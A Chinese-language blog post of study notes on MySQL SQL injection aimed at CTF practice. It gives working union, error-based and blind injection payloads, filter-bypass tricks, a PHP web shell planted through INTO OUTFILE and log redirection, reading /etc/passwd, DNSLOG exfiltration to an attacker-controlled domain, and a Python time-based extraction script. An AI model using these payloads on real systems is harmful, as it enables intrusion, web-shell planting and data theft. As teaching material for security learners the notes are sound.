Web学习笔记 之 SQL注入

这篇主要是搬的Yunen师傅的博客,觉得他整理的已经比较好了。

  注入攻击的本质,是把用户输入的数据当作代码执行。这里有两个关键,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户的数据。——《白帽子讲Web安全》

  上一章的XSS是一种针对HTML的注入攻击,而本章的SQL注入,顾名思义就是对SQL数据库的注入攻击。【这里针对Mysql】【在注入过程中,除了拼接,闭合-逃逸 这个步骤也经常出现。所以如果waf住了这里,是否还有别的方法呢?——憨憨弟弟如是想】

一个完整的mysql管理系统结构通常如下图image-20200727141611549

我们知道,在数据库中,常见的对数据进行处理的操作有:增、删、查、改这四种。

每一项操作都具有不同的作用,共同构成了对数据的绝大部分操作。

  • 增。顾名思义,也就是增加数据。在通用的SQL语句中,其简单结构通常可概述为:

    INSERT table_name(columns_name) VALUES(new_values)

  • 删。删除数据。简单结构为:

    DELETE table_name WHERE condition

  • 查。查询语句可以说是绝大部分应用程序最常用到的SQL语句,他的作用就是查找数据。其简单结构为:

    SELECT columns_name FROM table_name WHERE condition

  • 改。有修改/更新数据。简单结构为:

    UPDATE table_name SET column_name=new_value WHERE condition

PS:以上SQL语句中,系统关键字全部进行了大写处理。

文件读/写

我们知道Mysql是很灵活的,它支持文件读/写功能。在讲这之前,有必要介绍下什么是file_privsecure-file-priv

简单的说:file_priv是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。

1
select file_priv from mysql.user where user=$USER host=$HOST;

secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:

  • 无内容,表示无限制。
  • 为NULL,表示禁止文件读/写。
  • 为目录名,表示仅允许对特定目录的文件进行读/写。

注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容

三种方法查看当前secure-file-priv的值:

1
2
3
4
Code
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

修改:

  • 通过修改my.ini文件,添加:secure-file-priv=
  • 启动项添加参数:mysqld.exe --secure-file-priv=

Mysql读取文件通常使用load_file函数,语法如下:

1
select load_file(file_path);

第二种读文件的方法:

1
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件

第三种:

1
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件

限制:

  • 前两种需要secure-file-priv无值或为有利目录。
  • 都需要知道要读取的文件所在的绝对路径。
  • 要读取的文件大小必须小于max_allowed_packet所设置的值

低权限读取文件

5.5.53secure-file-priv=NULL读文件payload,mysql8测试失败,其他版本自测。

1
2
3
4
drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;

说完了读文件,那我们来说说mysql的写文件操作。常见的写文件操作如下:

1
2
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';

限制:

  • secure-file-priv无值或为可利用的目录
  • 需知道目标目录的绝对目录地址
  • 目标目录可写,mysql的权限足够。

日志法

  由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。

mysql日志文件的一些相关设置可以直接通过命令来进行:

1
2
3
4
5
6
7
8
//请求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//还有其他很多日志都可以进行利用
...

之后我们在让数据库执行满足记录条件的恶意语句即可。

限制:

  • 权限够,可以进行日志的设置操作
  • 知道目标目录的绝对路径

DNSLOG带出数据

  什么是DNSLOG?简单的说,就是关于特定网站的DNS查询的一份记录表。若A用户对B网站进行访问/请求等操作,首先会去查询B网站的DNS记录,由于B网站是被我们控制的,便可以通过某些方法记录下A用户对于B网站的DNS记录信息。此方法也称为OOB注入。

如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc,那么我们让mysql服务端去请求aabbcc.evil.com,通过记录evil.com的DNS记录,就可以得到数据:aabbcc

DNSLOG流程图

引自:Dnslog在SQL注入中的实战

payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

应用场景:

  • 三大注入无法使用
  • 有文件读取权限及secure-file-priv无值。
  • 不知道网站/目标文件/目标目录的绝对路径
  • 目标系统为Windows

推荐平台:ceye.io

  为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。简单的说,在Windows中,路径以\\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\\\中的两个\是用来进行转义处理的。

SQL注入

了解了最基本的Mysql相关知识后,我们来看看本文章的主题:SQL注入

  大部分情况下我们的SQL注入都是在上面去注入,以获取数据库中的敏感信息。而我们大致上分为三种,分别是有回显的联合查询注入、无回显的报错注入和布尔、时间盲注

  三种注入方式利用起来原理并不是太难,但是注入的一生之敌:waf,总是让我们难以成功实现攻击。截至目前俺这个弟弟审过的两三个小众CMS,它们用的比较多的还是黑名单过滤,并且是在全局范围内直接对你所有传的参数【GET POST…】进行过滤,狠的一批,但是要是找到了未顾及的点,那就能给他日透咯。所以各种花里胡哨的payload,各种奇技淫巧也是因这越来越严密的waf而生。(就像游戏不停的推动着显卡升级一样嘛)

联合查询注入

联合查询注入需要注意的是:

  • 若回显仅支持一行数据的话,记得让前边正常的查询语句返回的结果为空
  • 使用union select进行拼接时,注意前后两个select语句的返回的字段数必须相同,否则无法拼接。

再来看看联合查询注入的最基础四步

1
2
3
4
5
6
7
select database()	   #查询数据库名

select table_name from information_schema.tables where table_schema= database() #查询表名

select column_name from information_schema.columns where table_name='f1l1l1l1g' #查询表对应的列名

select flaaaaaag from f1l1l1l1g #查询列内容

但在这之前还需要用order by查一下字段数,

1
id = 1' order by 3 --+

止到报错之前的那个数字就是字段数了。

这里再补充一下information_schema相关的知识

information_schema简介

  在版本大于等于5.0的MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

其中我们需要关注的是,information_schema的数据库里的shemata数据表查询全部数据库名

tables的数据表中存着全部的数据表信息。其中,table_name 字段保存其名称table_schema保存其对应的数据库名

报错注入

exp()

适用版本:5.5.5~5.5.49

  报错注入有联动exp和~的,在Mysql里头,exp就是取e的幂次, ~就是按位取反。当exp里头的值太大了,就会造成大整数溢出,从而报错。

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

updatexml()

函数语法:updatexml(XML_document, Xpath_string, new_value);

适用版本: 5.1.5+
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

我们通常在第二个Xpath参数填写我们要查询的内容。

与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

payload:

前后添加~使其不符合Xpath格式从而报错。
updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
另外,updatexml最多只能显示32位,需要配合substr【用法:substr(string,start,length)】使用。

extractvalue()

函数语法:EXTRACTVALUE (XML_document, XPath_string);

适用版本:5.1.5+

利用原理与updatexml函数相同

payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

几何函数

  • GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  • polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
  • multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
  • multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
  • linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在的函数

随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。

不存在的函数报错

盲注

布尔

  对于布尔盲注来说,其使用的场景在于:对真/假条件返回的内容很容易区分

  比如说,有这么一条正常的select语句,我们再起where条件后边加上and 1=2,我们知道,1永远不等于2,那么这个条件就是一个永假条件,我们使用and语句连上,那么整个where部分就是永假的,这时候select语句是不会返回内容的。将其返回的内容与正常页面进行对比,如果很容易区分的话,那么布尔盲注试用。

payload:(where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)

时间

  相比较于布尔盲注,时间盲注依赖于通过页面返回的延迟时间来判断条件是否正确。

使用场景:布尔盲注永假条件所返回的内容与正常语句返回的内容很接近/相同,无法判断情况。

简单的来说,时间盲注就是,如果我们自定义的条件为假的话,我们让其0延迟通过,如果条件为真的话,使用sleep()等函数,让sql语句的返回产生延迟。

payload:(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)

  由于盲注是需要大量的测试比较多的数据,所以一般盲注都是写脚本的。不然一个一个手工盲测费时费力。

下面是时间盲注脚本的一个示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
url = #

flag = ''
table="abcdefghijklmnopqrstuvwxyz_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
while True:
for i in table:
ss = time.time()
data = {
'id':'''ELT(left((select database()),{})='{}{}',SLEEP(10))'''.format(len(flag)+1,flag, i)
}
r=requests.post(url,data=data)
print(r.text)
#print(time.time()-ss)
if time.time()-ss>=10:
flag += i
print (flag)
break

除了三种注入,其实还有一些不常见的注入

二次注入

  什么是二次注入?简单的说,就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。

举个例子,某个查询当先登录的用户信息的SQL语句如下:

1
select * from users where username='$_SESSION['username']'

  登录/注册处的SQL语句都经过了addslashes函数、单引号闭合的处理,且无编码产生的问题。

  对于上述举的语句我们可以先注册一个名为admin' #的用户名,因为在注册进行了单引号的转义,故我们并不能直接进行insert注入,最终将我们的用户名存储在了服务器中,注意:反斜杠转义掉了单引号,在mysql中得到的数据并没有反斜杠的存在。

  在我们进行登录操作的时候,我们用注册的admin' #登录系统,并将用户部分数据存储在对于的SESSION中,如$_SESSION['username']

  上述的$_SESSION['username']并没有经过处理,直接拼接到了SQL语句之中,就会造成SQL注入,最终的语句为:

1
select * from users where username='admin' #'

常见注入方式的基础原理讲完了,接下来就讲讲,怎么去绕过一些考虑不周到的过滤。

关键字过滤

过如遇到替换为空的情况,且不是递归检查,就可以用双写绕过

利用&&、||可以代替and和or,+号,

1
2
'||1='1     #or
'&&1='1 #and

注释(/**/)可以代替空格,%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格

如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)

逗号被过滤:substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4

主要思路就使用同义函数/语句代替,如if函数可用case when condition then 1 else 0 end语句代替。

如果单独过滤union,使用盲注来获取数据

1
'and substr((select pass from users limit 1),1,1)='s

一些小Trick

这里跟大家分享一些有意思的Trick,主要在一些CTF题出现,这里也把它记下来,方便复习。

PHP/union.+?select/ig绕过。

在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。

故而我们构造payload:union/*100万个a,充当垃圾数据*/select即可绕过正则判断。

一道相关的CTF题:TetCTF-2020 WP BY MrR3boot

LIMIT之后的字段数判断

我们都知道若注入点在where子语句之后,判断字段数可以用order bygroup by来进行判断,而limit后可以利用 into @,@ 判断字段数,其中@为mysql临时变量。

img

实例:

[极客大挑战 2019]EasySQL【万能密码】

admin' or 1=1 #

[极客大挑战 2019]loveSQL【基础联合注入】

?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

[极客大挑战 2019]babySQL【双写绕过】

?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

PS:这么看来想要注入,我们必须要用到单引号或者双引号来逃逸字符串,所以只过滤引号就能防住SQL注入了么?并不是,这里有一个例子

  如果你只是过滤了单引号,按照你上面的sql语句【String sql="select * from user_table where username='"+name+"' and password='"+password+"'";】,依然是可以注入的。

  username这样输入:1\

  password这样输入:or 1=1;#

  经过你的程序之后sql语句变成这样select * from user_table where username=’1' and password=’or 1=1;#’; 在这里,username中输入的\转义了它后面的单引号,因此sql语句实际上变成 username的值等于这样一个字符串: 1’ and password=,后面我再接or 1=1;#就生效了,


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:Web学习笔记 之 SQL注入

文章字数:4.2k

本文作者:Van1sh

发布时间:2020-08-07, 13:18:00

最后更新:2020-08-12, 22:38:02

原始链接:http://jayxv.github.io/2020/08/07/Web学习笔记之SQL注入/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏